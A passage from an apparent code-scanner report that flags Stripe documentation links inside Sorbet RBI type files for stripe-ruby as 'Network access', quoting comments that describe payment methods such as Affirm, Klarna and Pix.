    # Configures whether [checkout sessions](https://docs.stripe.com/api/checkout/sessions) created by this payment link create a [Customer](https://docs.stripe.com/api/customers).
  • Network accessline 785
    }     def line_items=(_line_items); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. In
  • Network accessline 786
    def line_items=(_line_items); end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individu
  • Network accessline 787
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 810
    # Can only be set in `subscription` mode. Defaults to `always`.     #     # If you'd like information on how to collect a payment method outside of Checkout, read the guide on [configuring subscriptions with a free trial](https://docs.strip
  • Network accessline 811
    #     # If you'd like information on how to collect a payment method outside of Checkout, read the guide on [configuring subscriptions with a free trial](https://docs.stripe.com/payments/checkout/free-trials).     sig { returns(T.nilable(St
  • Network accessline 812
    # If you'd like information on how to collect a payment method outside of Checkout, read the guide on [configuring subscriptions with a free trial](https://docs.stripe.com/payments/checkout/free-trials).
  • Network accessline 815
    sig { params(_payment_method_collection: T.nilable(String)).returns(T.nilable(String)) }     def payment_method_collection=(_payment_method_collection); end     # The list of payment method types that customers can use. Pass an empty string
  • Network accessline 816
    def payment_method_collection=(_payment_method_collection); end     # The list of payment method types that customers can use. Pass an empty string to enable dynamic payment methods that use your [payment method settings](https://dashboard.
  • Network accessline 817
    # The list of payment method types that customers can use. Pass an empty string to enable dynamic payment methods that use your [payment method settings](https://dashboard.stripe.com/settings/payment_methods).
  • Network accessline 845
    }     def shipping_address_collection=(_shipping_address_collection); end     # Describes the type of transaction being performed in order to customize relevant text on the page, such as the submit button. Changing this value will also affe
  • Network accessline 846
    def shipping_address_collection=(_shipping_address_collection); end     # Describes the type of transaction being performed in order to customize relevant text on the page, such as the submit button. Changing this value will also affect the
  • Network accessline 847
    # Describes the type of transaction being performed in order to customize relevant text on the page, such as the submit button. Changing this value will also affect the hostname in the [url](https://docs.stripe.com/api/payment_links/payment

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/payment_method_configuration_create_params.rbi

  • Network accessline 1287
    def initialize(display_preference: nil); end     end     # Canadian pre-authorized debit payments, check this [page](https://docs.stripe.com/payments/acss-debit) for more details like country availability.
  • Network accessline 1288
    end     # Canadian pre-authorized debit payments, check this [page](https://docs.stripe.com/payments/acss-debit) for more details like country availability.     sig { returns(T.nilable(PaymentMethodConfigurationCreateParams::AcssDebit)) }
  • Network accessline 1289
    # Canadian pre-authorized debit payments, check this [page](https://docs.stripe.com/payments/acss-debit) for more details like country availability.
  • Network accessline 1294
    }     def acss_debit=(_acss_debit); end     # [Affirm](https://www.affirm.com/) gives your customers a way to split purchases over a series of payments. Depending on the purchase, they can pay with four interest-free payments (Split Pay) or
  • Network accessline 1295
    def acss_debit=(_acss_debit); end     # [Affirm](https://www.affirm.com/) gives your customers a way to split purchases over a series of payments. Depending on the purchase, they can pay with four interest-free payments (Split Pay) or pay o
  • Network accessline 1296
    # [Affirm](https://www.affirm.com/) gives your customers a way to split purchases over a series of payments. Depending on the purchase, they can pay with four interest-free payments (Split Pay) or pay over a longer term (Installments), whic
  • Network accessline 1301
    }     def affirm=(_affirm); end     # Afterpay gives your customers a way to pay for purchases in installments, check this [page](https://docs.stripe.com/payments/afterpay-clearpay) for more details like country availability. Afterpay is pa
  • Network accessline 1302
    def affirm=(_affirm); end     # Afterpay gives your customers a way to pay for purchases in installments, check this [page](https://docs.stripe.com/payments/afterpay-clearpay) for more details like country availability. Afterpay is particul
  • Network accessline 1303
    # Afterpay gives your customers a way to pay for purchases in installments, check this [page](https://docs.stripe.com/payments/afterpay-clearpay) for more details like country availability. Afterpay is particularly popular among businesses 
  • Network accessline 1308
    }     def afterpay_clearpay=(_afterpay_clearpay); end     # Alipay is a digital wallet in China that has more than a billion active users worldwide. Alipay users can pay on the web or on a mobile device using login credentials or their Alip
  • Network accessline 1309
    def afterpay_clearpay=(_afterpay_clearpay); end     # Alipay is a digital wallet in China that has more than a billion active users worldwide. Alipay users can pay on the web or on a mobile device using login credentials or their Alipay app
  • Network accessline 1310
    # Alipay is a digital wallet in China that has more than a billion active users worldwide. Alipay users can pay on the web or on a mobile device using login credentials or their Alipay app. Alipay has a low dispute rate and reduces fraud by
  • Network accessline 1329
    }     def amazon_pay=(_amazon_pay); end     # Stripe users can accept [Apple Pay](https://stripe.com/payments/apple-pay) in iOS applications in iOS 9 and later, and on the web in Safari starting with iOS 10 or macOS Sierra. There are no add
  • Network accessline 1330
    def amazon_pay=(_amazon_pay); end     # Stripe users can accept [Apple Pay](https://stripe.com/payments/apple-pay) in iOS applications in iOS 9 and later, and on the web in Safari starting with iOS 10 or macOS Sierra. There are no additiona
  • Network accessline 1331
    # Stripe users can accept [Apple Pay](https://stripe.com/payments/apple-pay) in iOS applications in iOS 9 and later, and on the web in Safari starting with iOS 10 or macOS Sierra. There are no additional fees to process Apple Pay payments, 
  • Network accessline 1343
    }     def apple_pay_later=(_apple_pay_later); end     # Stripe users in Australia can accept Bulk Electronic Clearing System (BECS) direct debit payments from customers with an Australian bank account. Check this [page](https://docs.stripe.
  • Network accessline 1344
    def apple_pay_later=(_apple_pay_later); end     # Stripe users in Australia can accept Bulk Electronic Clearing System (BECS) direct debit payments from customers with an Australian bank account. Check this [page](https://docs.stripe.com/pa
  • Network accessline 1345
    # Stripe users in Australia can accept Bulk Electronic Clearing System (BECS) direct debit payments from customers with an Australian bank account. Check this [page](https://docs.stripe.com/payments/au-becs-debit) for more details.
  • Network accessline 1350
    }     def au_becs_debit=(_au_becs_debit); end     # Stripe users in the UK can accept Bacs Direct Debit payments from customers with a UK bank account, check this [page](https://docs.stripe.com/payments/payment-methods/bacs-debit) for more 
  • Network accessline 1351
    def au_becs_debit=(_au_becs_debit); end     # Stripe users in the UK can accept Bacs Direct Debit payments from customers with a UK bank account, check this [page](https://docs.stripe.com/payments/payment-methods/bacs-debit) for more detail
  • Network accessline 1352
    # Stripe users in the UK can accept Bacs Direct Debit payments from customers with a UK bank account, check this [page](https://docs.stripe.com/payments/payment-methods/bacs-debit) for more details.
  • Network accessline 1357
    }     def bacs_debit=(_bacs_debit); end     # Bancontact is the most popular online payment method in Belgium, with over 15 million cards in circulation. [Customers](https://docs.stripe.com/api/customers) use a Bancontact card or mobile app
  • Network accessline 1358
    def bacs_debit=(_bacs_debit); end     # Bancontact is the most popular online payment method in Belgium, with over 15 million cards in circulation. [Customers](https://docs.stripe.com/api/customers) use a Bancontact card or mobile app linke
  • Network accessline 1359
    # Bancontact is the most popular online payment method in Belgium, with over 15 million cards in circulation. [Customers](https://docs.stripe.com/api/customers) use a Bancontact card or mobile app linked to a Belgian bank account to make on
  • Network accessline 1364
    }     def bancontact=(_bancontact); end     # Billie is a [single-use](https://docs.stripe.com/payments/payment-methods#usage) payment method that offers businesses Pay by Invoice where they offer payment terms ranging from 7-120 days. Cust
  • Network accessline 1365
    def bancontact=(_bancontact); end     # Billie is a [single-use](https://docs.stripe.com/payments/payment-methods#usage) payment method that offers businesses Pay by Invoice where they offer payment terms ranging from 7-120 days. Customers 
  • Network accessline 1366
    # Billie is a [single-use](https://docs.stripe.com/payments/payment-methods#usage) payment method that offers businesses Pay by Invoice where they offer payment terms ranging from 7-120 days. Customers are redirected from your website or ap
  • Network accessline 1371
    }     def billie=(_billie); end     # BLIK is a [single use](https://docs.stripe.com/payments/payment-methods#usage) payment method that requires customers to authenticate their payments. When customers want to pay online using BLIK, they r
  • Network accessline 1372
    def billie=(_billie); end     # BLIK is a [single use](https://docs.stripe.com/payments/payment-methods#usage) payment method that requires customers to authenticate their payments. When customers want to pay online using BLIK, they request
  • Network accessline 1373
    # BLIK is a [single use](https://docs.stripe.com/payments/payment-methods#usage) payment method that requires customers to authenticate their payments. When customers want to pay online using BLIK, they request a six-digit code from their b
  • Network accessline 1378
    }     def blik=(_blik); end     # Boleto is an official (regulated by the Central Bank of Brazil) payment method in Brazil. Check this [page](https://docs.stripe.com/payments/boleto) for more details.
  • Network accessline 1379
    def blik=(_blik); end     # Boleto is an official (regulated by the Central Bank of Brazil) payment method in Brazil. Check this [page](https://docs.stripe.com/payments/boleto) for more details.     sig { returns(T.nilable(PaymentMethodConf
  • Network accessline 1380
    # Boleto is an official (regulated by the Central Bank of Brazil) payment method in Brazil. Check this [page](https://docs.stripe.com/payments/boleto) for more details.
  • Network accessline 1392
    }     def card=(_card); end     # Cartes Bancaires is France's local card network. More than 95% of these cards are co-branded with either Visa or Mastercard, meaning you can process these cards over either Cartes Bancaires or the Visa or M
  • Network accessline 1393
    def card=(_card); end     # Cartes Bancaires is France's local card network. More than 95% of these cards are co-branded with either Visa or Mastercard, meaning you can process these cards over either Cartes Bancaires or the Visa or Masterc
  • Network accessline 1394
    # Cartes Bancaires is France's local card network. More than 95% of these cards are co-branded with either Visa or Mastercard, meaning you can process these cards over either Cartes Bancaires or the Visa or Mastercard networks. Check this [
  • Network accessline 1399
    }     def cartes_bancaires=(_cartes_bancaires); end     # Cash App is a popular consumer app in the US that allows customers to bank, invest, send, and receive money using their digital wallet. Check this [page](https://docs.stripe.com/paym
  • Network accessline 1400
    def cartes_bancaires=(_cartes_bancaires); end     # Cash App is a popular consumer app in the US that allows customers to bank, invest, send, and receive money using their digital wallet. Check this [page](https://docs.stripe.com/payments/c
  • Network accessline 1401
    # Cash App is a popular consumer app in the US that allows customers to bank, invest, send, and receive money using their digital wallet. Check this [page](https://docs.stripe.com/payments/cash-app-pay) for more details.
  • Network accessline 1406
    }     def cashapp=(_cashapp); end     # [Stablecoin payments](https://docs.stripe.com/payments/stablecoin-payments) enable customers to pay in stablecoins like USDC from 100s of wallets including Phantom and Metamask.
  • Network accessline 1407
    def cashapp=(_cashapp); end     # [Stablecoin payments](https://docs.stripe.com/payments/stablecoin-payments) enable customers to pay in stablecoins like USDC from 100s of wallets including Phantom and Metamask.     sig { returns(T.nilable(
  • Network accessline 1408
    # [Stablecoin payments](https://docs.stripe.com/payments/stablecoin-payments) enable customers to pay in stablecoins like USDC from 100s of wallets including Phantom and Metamask.
  • Network accessline 1413
    }     def crypto=(_crypto); end     # Uses a customer’s [cash balance](https://docs.stripe.com/payments/customer-balance) for the payment. The cash balance can be funded via a bank transfer. Check this [page](https://docs.stripe.com/payment
  • Network accessline 1414
    def crypto=(_crypto); end     # Uses a customer’s [cash balance](https://docs.stripe.com/payments/customer-balance) for the payment. The cash balance can be funded via a bank transfer. Check this [page](https://docs.stripe.com/payments/bank
  • Network accessline 1415
    # Uses a customer’s [cash balance](https://docs.stripe.com/payments/customer-balance) for the payment. The cash balance can be funded via a bank transfer. Check this [page](https://docs.stripe.com/payments/bank-transfers) for more details.
  • Network accessline 1420
    }     def customer_balance=(_customer_balance); end     # EPS is an Austria-based payment method that allows customers to complete transactions online using their bank credentials. EPS is supported by all Austrian banks and is accepted by o
  • Network accessline 1421
    def customer_balance=(_customer_balance); end     # EPS is an Austria-based payment method that allows customers to complete transactions online using their bank credentials. EPS is supported by all Austrian banks and is accepted by over 80
  • Network accessline 1422
    # EPS is an Austria-based payment method that allows customers to complete transactions online using their bank credentials. EPS is supported by all Austrian banks and is accepted by over 80% of Austrian online retailers. Check this [page](
  • Network accessline 1432
    sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) }     def expand=(_expand); end     # Financial Process Exchange (FPX) is a Malaysia-based payment method that allows customers to complete transactions
  • Network accessline 1433
    def expand=(_expand); end     # Financial Process Exchange (FPX) is a Malaysia-based payment method that allows customers to complete transactions online using their bank credentials. Bank Negara Malaysia (BNM), the Central Bank of Malaysia
  • Network accessline 1434
    # Financial Process Exchange (FPX) is a Malaysia-based payment method that allows customers to complete transactions online using their bank credentials. Bank Negara Malaysia (BNM), the Central Bank of Malaysia, and eleven other major Malay
  • Network accessline 1439
    }     def fpx=(_fpx); end     # Meal vouchers in France, or “titres-restaurant”, is a local benefits program commonly offered by employers for their employees to purchase prepared food and beverages on working days. Check this [page](https:
  • Network accessline 1440
    def fpx=(_fpx); end     # Meal vouchers in France, or “titres-restaurant”, is a local benefits program commonly offered by employers for their employees to purchase prepared food and beverages on working days. Check this [page](https://docs
  • Network accessline 1441
    # Meal vouchers in France, or “titres-restaurant”, is a local benefits program commonly offered by employers for their employees to purchase prepared food and beverages on working days. Check this [page](https://docs.stripe.com/payments/ben
  • Network accessline 1446
    }     def fr_meal_voucher_conecs=(_fr_meal_voucher_conecs); end     # giropay is a German payment method based on online banking, introduced in 2006. It allows customers to complete transactions online using their online banking environment
  • Network accessline 1447
    def fr_meal_voucher_conecs=(_fr_meal_voucher_conecs); end     # giropay is a German payment method based on online banking, introduced in 2006. It allows customers to complete transactions online using their online banking environment, with
  • Network accessline 1448
    # giropay is a German payment method based on online banking, introduced in 2006. It allows customers to complete transactions online using their online banking environment, with funds debited from their bank account. Depending on their ban
  • Network accessline 1453
    }     def giropay=(_giropay); end     # Google Pay allows customers to make payments in your app or website using any credit or debit card saved to their Google Account, including those from Google Play, YouTube, Chrome, or an Android devic
  • Network accessline 1454
    def giropay=(_giropay); end     # Google Pay allows customers to make payments in your app or website using any credit or debit card saved to their Google Account, including those from Google Play, YouTube, Chrome, or an Android device. Use
  • Network accessline 1455
    # Google Pay allows customers to make payments in your app or website using any credit or debit card saved to their Google Account, including those from Google Play, YouTube, Chrome, or an Android device. Use the Google Pay API to request a
  • Network accessline 1460
    }     def google_pay=(_google_pay); end     # GrabPay is a payment method developed by [Grab](https://www.grab.com/sg/consumer/finance/pay/). GrabPay is a digital wallet - customers maintain a balance in their wallets that they pay out with
  • Network accessline 1461
    def google_pay=(_google_pay); end     # GrabPay is a payment method developed by [Grab](https://www.grab.com/sg/consumer/finance/pay/). GrabPay is a digital wallet - customers maintain a balance in their wallets that they pay out with. Chec
  • Network accessline 1462
    # GrabPay is a payment method developed by [Grab](https://www.grab.com/sg/consumer/finance/pay/). GrabPay is a digital wallet - customers maintain a balance in their wallets that they pay out with. Check this [page](https://docs.stripe.com/
  • Network accessline 1467
    }     def grabpay=(_grabpay); end     # iDEAL is a Netherlands-based payment method that allows customers to complete transactions online using their bank credentials. All major Dutch banks are members of Currence, the scheme that operates 
  • Network accessline 1468
    def grabpay=(_grabpay); end     # iDEAL is a Netherlands-based payment method that allows customers to complete transactions online using their bank credentials. All major Dutch banks are members of Currence, the scheme that operates iDEAL,
  • Network accessline 1469
    # iDEAL is a Netherlands-based payment method that allows customers to complete transactions online using their bank credentials. All major Dutch banks are members of Currence, the scheme that operates iDEAL, making it the most popular onli
  • Network accessline 1474
    }     def ideal=(_ideal); end     # JCB is a credit card company based in Japan. JCB is currently available in Japan to businesses approved by JCB, and available to all businesses in Australia, Canada, Hong Kong, Japan, New Zealand, Singapo
  • Network accessline 1475
    def ideal=(_ideal); end     # JCB is a credit card company based in Japan. JCB is currently available in Japan to businesses approved by JCB, and available to all businesses in Australia, Canada, Hong Kong, Japan, New Zealand, Singapore, Sw
  • Network accessline 1476
    # JCB is a credit card company based in Japan. JCB is currently available in Japan to businesses approved by JCB, and available to all businesses in Australia, Canada, Hong Kong, Japan, New Zealand, Singapore, Switzerland, United Kingdom, U
  • Network accessline 1488
    }     def kakao_pay=(_kakao_pay); end     # Klarna gives customers a range of [payment options](https://docs.stripe.com/payments/klarna#payment-options) during checkout. Available payment options vary depending on the customer's billing add
  • Network accessline 1489
    def kakao_pay=(_kakao_pay); end     # Klarna gives customers a range of [payment options](https://docs.stripe.com/payments/klarna#payment-options) during checkout. Available payment options vary depending on the customer's billing address a
  • Network accessline 1490
    # Klarna gives customers a range of [payment options](https://docs.stripe.com/payments/klarna#payment-options) during checkout. Available payment options vary depending on the customer's billing address and the transaction amount. These pay
  • Network accessline 1495
    }     def klarna=(_klarna); end     # Konbini allows customers in Japan to pay for bills and online purchases at convenience stores with cash. Check this [page](https://docs.stripe.com/payments/konbini) for more details.
  • Network accessline 1496
    def klarna=(_klarna); end     # Konbini allows customers in Japan to pay for bills and online purchases at convenience stores with cash. Check this [page](https://docs.stripe.com/payments/konbini) for more details.     sig { returns(T.nilab
  • Network accessline 1497
    # Konbini allows customers in Japan to pay for bills and online purchases at convenience stores with cash. Check this [page](https://docs.stripe.com/payments/konbini) for more details.
  • Network accessline 1509
    }     def kr_card=(_kr_card); end     # [Link](https://docs.stripe.com/payments/link) is a payment method network. With Link, users save their payment details once, then reuse that information to pay with one click for any business on the n
  • Network accessline 1510
    def kr_card=(_kr_card); end     # [Link](https://docs.stripe.com/payments/link) is a payment method network. With Link, users save their payment details once, then reuse that information to pay with one click for any business on the network
  • Network accessline 1511
    # [Link](https://docs.stripe.com/payments/link) is a payment method network. With Link, users save their payment details once, then reuse that information to pay with one click for any business on the network.
  • Network accessline 1516
    }     def link=(_link); end     # MB WAY is the most popular wallet in Portugal. After entering their phone number in your checkout, customers approve the payment directly in their MB WAY app. Check this [page](https://docs.stripe.com/payme
  • Network accessline 1517
    def link=(_link); end     # MB WAY is the most popular wallet in Portugal. After entering their phone number in your checkout, customers approve the payment directly in their MB WAY app. Check this [page](https://docs.stripe.com/payments/mb
  • Network accessline 1518
    # MB WAY is the most popular wallet in Portugal. After entering their phone number in your checkout, customers approve the payment directly in their MB WAY app. Check this [page](https://docs.stripe.com/payments/mb-way) for more details.
  • Network accessline 1523
    }     def mb_way=(_mb_way); end     # MobilePay is a [single-use](https://docs.stripe.com/payments/payment-methods#usage) card wallet payment method used in Denmark and Finland. It allows customers to [authenticate and approve](https://docs
  • Network accessline 1524
    def mb_way=(_mb_way); end     # MobilePay is a [single-use](https://docs.stripe.com/payments/payment-methods#usage) card wallet payment method used in Denmark and Finland. It allows customers to [authenticate and approve](https://docs.strip
  • Network accessline 1525
    # MobilePay is a [single-use](https://docs.stripe.com/payments/payment-methods#usage) card wallet payment method used in Denmark and Finland. It allows customers to [authenticate and approve](https://docs.stripe.com/payments/payment-methods
  • Network accessline 1530
    }     def mobilepay=(_mobilepay); end     # Stripe users in Europe and the United States can accept Multibanco payments from customers in Portugal using [Sources](https://stripe.com/docs/sources)—a single integration path for creating payme
  • Network accessline 1531
    def mobilepay=(_mobilepay); end     # Stripe users in Europe and the United States can accept Multibanco payments from customers in Portugal using [Sources](https://stripe.com/docs/sources)—a single integration path for creating payments us
  • Network accessline 1532
    # Stripe users in Europe and the United States can accept Multibanco payments from customers in Portugal using [Sources](https://stripe.com/docs/sources)—a single integration path for creating payments using any supported method.
  • Network accessline 1549
    }     def naver_pay=(_naver_pay); end     # Stripe users in New Zealand can accept Bulk Electronic Clearing System (BECS) direct debit payments from customers with a New Zeland bank account. Check this [page](https://docs.stripe.com/payment
  • Network accessline 1550
    def naver_pay=(_naver_pay); end     # Stripe users in New Zealand can accept Bulk Electronic Clearing System (BECS) direct debit payments from customers with a New Zeland bank account. Check this [page](https://docs.stripe.com/payments/nz-b
  • Network accessline 1551
    # Stripe users in New Zealand can accept Bulk Electronic Clearing System (BECS) direct debit payments from customers with a New Zeland bank account. Check this [page](https://docs.stripe.com/payments/nz-bank-account) for more details.
  • Network accessline 1556
    }     def nz_bank_account=(_nz_bank_account); end     # OXXO is a Mexican chain of convenience stores with thousands of locations across Latin America and represents nearly 20% of online transactions in Mexico. OXXO allows customers to pay 
  • Network accessline 1557
    def nz_bank_account=(_nz_bank_account); end     # OXXO is a Mexican chain of convenience stores with thousands of locations across Latin America and represents nearly 20% of online transactions in Mexico. OXXO allows customers to pay bills 
  • Network accessline 1558
    # OXXO is a Mexican chain of convenience stores with thousands of locations across Latin America and represents nearly 20% of online transactions in Mexico. OXXO allows customers to pay bills and online purchases in-store with cash. Check t
  • Network accessline 1563
    }     def oxxo=(_oxxo); end     # Przelewy24 is a Poland-based payment method aggregator that allows customers to complete transactions online using bank transfers and other methods. Bank transfers account for 30% of online payments in Pola
  • Network accessline 1564
    def oxxo=(_oxxo); end     # Przelewy24 is a Poland-based payment method aggregator that allows customers to complete transactions online using bank transfers and other methods. Bank transfers account for 30% of online payments in Poland and
  • Network accessline 1565
    # Przelewy24 is a Poland-based payment method aggregator that allows customers to complete transactions online using bank transfers and other methods. Bank transfers account for 30% of online payments in Poland and Przelewy24 provides a way
  • Network accessline 1582
    }     def pay_by_bank=(_pay_by_bank); end     # PAYCO is a [single-use](https://docs.stripe.com/payments/payment-methods#usage local wallet available in South Korea.
  • Network accessline 1583
    def pay_by_bank=(_pay_by_bank); end     # PAYCO is a [single-use](https://docs.stripe.com/payments/payment-methods#usage local wallet available in South Korea.     sig { returns(T.nilable(PaymentMethodConfigurationCreateParams::Payco)) }
  • Network accessline 1584
    # PAYCO is a [single-use](https://docs.stripe.com/payments/payment-methods#usage local wallet available in South Korea.
  • Network accessline 1589
    }     def payco=(_payco); end     # PayNow is a Singapore-based payment method that allows customers to make a payment using their preferred app from participating banks and participating non-bank financial institutions. Check this [page](h
  • Network accessline 1590
    def payco=(_payco); end     # PayNow is a Singapore-based payment method that allows customers to make a payment using their preferred app from participating banks and participating non-bank financial institutions. Check this [page](https:/
  • Network accessline 1591
    # PayNow is a Singapore-based payment method that allows customers to make a payment using their preferred app from participating banks and participating non-bank financial institutions. Check this [page](https://docs.stripe.com/payments/pa
  • Network accessline 1596
    }     def paynow=(_paynow); end     # PayPal, a digital wallet popular with customers in Europe, allows your customers worldwide to pay using their PayPal account. Check this [page](https://docs.stripe.com/payments/paypal) for more details.
  • Network accessline 1597
    def paynow=(_paynow); end     # PayPal, a digital wallet popular with customers in Europe, allows your customers worldwide to pay using their PayPal account. Check this [page](https://docs.stripe.com/payments/paypal) for more details.     s
  • Network accessline 1598
    # PayPal, a digital wallet popular with customers in Europe, allows your customers worldwide to pay using their PayPal account. Check this [page](https://docs.stripe.com/payments/paypal) for more details.
  • Network accessline 1603
    }     def paypal=(_paypal); end     # PayTo is a [real-time](https://docs.stripe.com/payments/real-time) payment method that enables customers in Australia to pay by providing their bank account details. Customers must accept a mandate auth
  • Network accessline 1604
    def paypal=(_paypal); end     # PayTo is a [real-time](https://docs.stripe.com/payments/real-time) payment method that enables customers in Australia to pay by providing their bank account details. Customers must accept a mandate authorizin
  • Network accessline 1605
    # PayTo is a [real-time](https://docs.stripe.com/payments/real-time) payment method that enables customers in Australia to pay by providing their bank account details. Customers must accept a mandate authorizing you to debit their account. 
  • Network accessline 1610
    }     def payto=(_payto); end     # Pix is a payment method popular in Brazil. When paying with Pix, customers authenticate and approve payments by scanning a QR code in their preferred banking app. Check this [page](https://docs.stripe.com
  • Network accessline 1611
    def payto=(_payto); end     # Pix is a payment method popular in Brazil. When paying with Pix, customers authenticate and approve payments by scanning a QR code in their preferred banking app. Check this [page](https://docs.stripe.com/payme
  • Network accessline 1612
    # Pix is a payment method popular in Brazil. When paying with Pix, customers authenticate and approve payments by scanning a QR code in their preferred banking app. Check this [page](https://docs.stripe.com/payments/pix) for more details.
  • Network accessline 1617
    }     def pix=(_pix); end     # PromptPay is a Thailand-based payment method that allows customers to make a payment using their preferred app from participating banks. Check this [page](https://docs.stripe.com/payments/promptpay) for more 
  • Network accessline 1618
    def pix=(_pix); end     # PromptPay is a Thailand-based payment method that allows customers to make a payment using their preferred app from participating banks. Check this [page](https://docs.stripe.com/payments/promptpay) for more detail
  • Network accessline 1619
    # PromptPay is a Thailand-based payment method that allows customers to make a payment using their preferred app from participating banks. Check this [page](https://docs.stripe.com/payments/promptpay) for more details.
  • Network accessline 1631
    }     def revolut_pay=(_revolut_pay); end     # Samsung Pay is a [single-use](https://docs.stripe.com/payments/payment-methods#usage local wallet available in South Korea.
  • Network accessline 1632
    def revolut_pay=(_revolut_pay); end     # Samsung Pay is a [single-use](https://docs.stripe.com/payments/payment-methods#usage local wallet available in South Korea.     sig { returns(T.nilable(PaymentMethodConfigurationCreateParams::Samsun
  • Network accessline 1633
    # Samsung Pay is a [single-use](https://docs.stripe.com/payments/payment-methods#usage local wallet available in South Korea.
  • Network accessline 1638
    }     def samsung_pay=(_samsung_pay); end     # Satispay is a [single-use](https://docs.stripe.com/payments/payment-methods#usage) payment method where customers are required to [authenticate](/payments/payment-methods#customer-actions) the
  • Network accessline 1639
    def samsung_pay=(_samsung_pay); end     # Satispay is a [single-use](https://docs.stripe.com/payments/payment-methods#usage) payment method where customers are required to [authenticate](/payments/payment-methods#customer-actions) their pay
  • Network accessline 1640
    # Satispay is a [single-use](https://docs.stripe.com/payments/payment-methods#usage) payment method where customers are required to [authenticate](/payments/payment-methods#customer-actions) their payment. Customers pay by being redirected 
  • Network accessline 1645
    }     def satispay=(_satispay); end     # The [Single Euro Payments Area (SEPA)](https://en.wikipedia.org/wiki/Single_Euro_Payments_Area) is an initiative of the European Union to simplify payments within and across member countries. SEPA e
  • Network accessline 1646
    def satispay=(_satispay); end     # The [Single Euro Payments Area (SEPA)](https://en.wikipedia.org/wiki/Single_Euro_Payments_Area) is an initiative of the European Union to simplify payments within and across member countries. SEPA establi
  • Network accessline 1647
    # The [Single Euro Payments Area (SEPA)](https://en.wikipedia.org/wiki/Single_Euro_Payments_Area) is an initiative of the European Union to simplify payments within and across member countries. SEPA established and enforced banking standard
  • Network accessline 1652
    }     def sepa_debit=(_sepa_debit); end     # Stripe users in Europe and the United States can use the [Payment Intents API](https://stripe.com/docs/payments/payment-intents)—a single integration path for creating payments using any support
  • Network accessline 1653
    def sepa_debit=(_sepa_debit); end     # Stripe users in Europe and the United States can use the [Payment Intents API](https://stripe.com/docs/payments/payment-intents)—a single integration path for creating payments using any supported met
  • Network accessline 1654
    # Stripe users in Europe and the United States can use the [Payment Intents API](https://stripe.com/docs/payments/payment-intents)—a single integration path for creating payments using any supported method—to accept [Sofort](https://www.sof
  • Network accessline 1659
    }     def sofort=(_sofort); end     # Swish is a [real-time](https://docs.stripe.com/payments/real-time) payment method popular in Sweden. It allows customers to [authenticate and approve](https://docs.stripe.com/payments/payment-methods#cu
  • Network accessline 1660
    def sofort=(_sofort); end     # Swish is a [real-time](https://docs.stripe.com/payments/real-time) payment method popular in Sweden. It allows customers to [authenticate and approve](https://docs.stripe.com/payments/payment-methods#customer
  • Network accessline 1661
    # Swish is a [real-time](https://docs.stripe.com/payments/real-time) payment method popular in Sweden. It allows customers to [authenticate and approve](https://docs.stripe.com/payments/payment-methods#customer-actions) payments using the S
  • Network accessline 1666
    }     def swish=(_swish); end     # Twint is a payment method popular in Switzerland. It allows customers to pay using their mobile phone. Check this [page](https://docs.stripe.com/payments/twint) for more details.
  • Network accessline 1667
    def swish=(_swish); end     # Twint is a payment method popular in Switzerland. It allows customers to pay using their mobile phone. Check this [page](https://docs.stripe.com/payments/twint) for more details.     sig { returns(T.nilable(Pay
  • Network accessline 1668
    # Twint is a payment method popular in Switzerland. It allows customers to pay using their mobile phone. Check this [page](https://docs.stripe.com/payments/twint) for more details.
  • Network accessline 1673
    }     def twint=(_twint); end     # Stripe users in the United States can accept ACH direct debit payments from customers with a US bank account using the Automated Clearing House (ACH) payments system operated by Nacha. Check this [page](h
  • Network accessline 1674
    def twint=(_twint); end     # Stripe users in the United States can accept ACH direct debit payments from customers with a US bank account using the Automated Clearing House (ACH) payments system operated by Nacha. Check this [page](https:/
  • Network accessline 1675
    # Stripe users in the United States can accept ACH direct debit payments from customers with a US bank account using the Automated Clearing House (ACH) payments system operated by Nacha. Check this [page](https://docs.stripe.com/payments/ac
  • Network accessline 1680
    }     def us_bank_account=(_us_bank_account); end     # WeChat, owned by Tencent, is China's leading mobile app with over 1 billion monthly active users. Chinese consumers can use WeChat Pay to pay for goods and services inside of businesse
  • Network accessline 1681
    def us_bank_account=(_us_bank_account); end     # WeChat, owned by Tencent, is China's leading mobile app with over 1 billion monthly active users. Chinese consumers can use WeChat Pay to pay for goods and services inside of businesses' app
  • Network accessline 1682
    # WeChat, owned by Tencent, is China's leading mobile app with over 1 billion monthly active users. Chinese consumers can use WeChat Pay to pay for goods and services inside of businesses' apps and websites. WeChat Pay users buy most freque
  • Network accessline 1687
    }     def wechat_pay=(_wechat_pay); end     # Zip gives your customers a way to split purchases over a series of payments. Check this [page](https://docs.stripe.com/payments/zip) for more details like country availability.
  • Network accessline 1688
    def wechat_pay=(_wechat_pay); end     # Zip gives your customers a way to split purchases over a series of payments. Check this [page](https://docs.stripe.com/payments/zip) for more details like country availability.     sig { returns(T.nil
  • Network accessline 1689
    # Zip gives your customers a way to split purchases over a series of payments. Check this [page](https://docs.stripe.com/payments/zip) for more details like country availability.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/payment_method_configuration_update_params.rbi

  • Network accessline 1287
    def initialize(display_preference: nil); end     end     # Canadian pre-authorized debit payments, check this [page](https://docs.stripe.com/payments/acss-debit) for more details like country availability.
  • Network accessline 1288
    end     # Canadian pre-authorized debit payments, check this [page](https://docs.stripe.com/payments/acss-debit) for more details like country availability.     sig { returns(T.nilable(PaymentMethodConfigurationUpdateParams::AcssDebit)) }
  • Network accessline 1289
    # Canadian pre-authorized debit payments, check this [page](https://docs.stripe.com/payments/acss-debit) for more details like country availability.
  • Network accessline 1299
    sig { params(_active: T.nilable(T::Boolean)).returns(T.nilable(T::Boolean)) }     def active=(_active); end     # [Affirm](https://www.affirm.com/) gives your customers a way to split purchases over a series of payments. Depending on the pu
  • Network accessline 1300
    def active=(_active); end     # [Affirm](https://www.affirm.com/) gives your customers a way to split purchases over a series of payments. Depending on the purchase, they can pay with four interest-free payments (Split Pay) or pay over a lo
  • Network accessline 1301
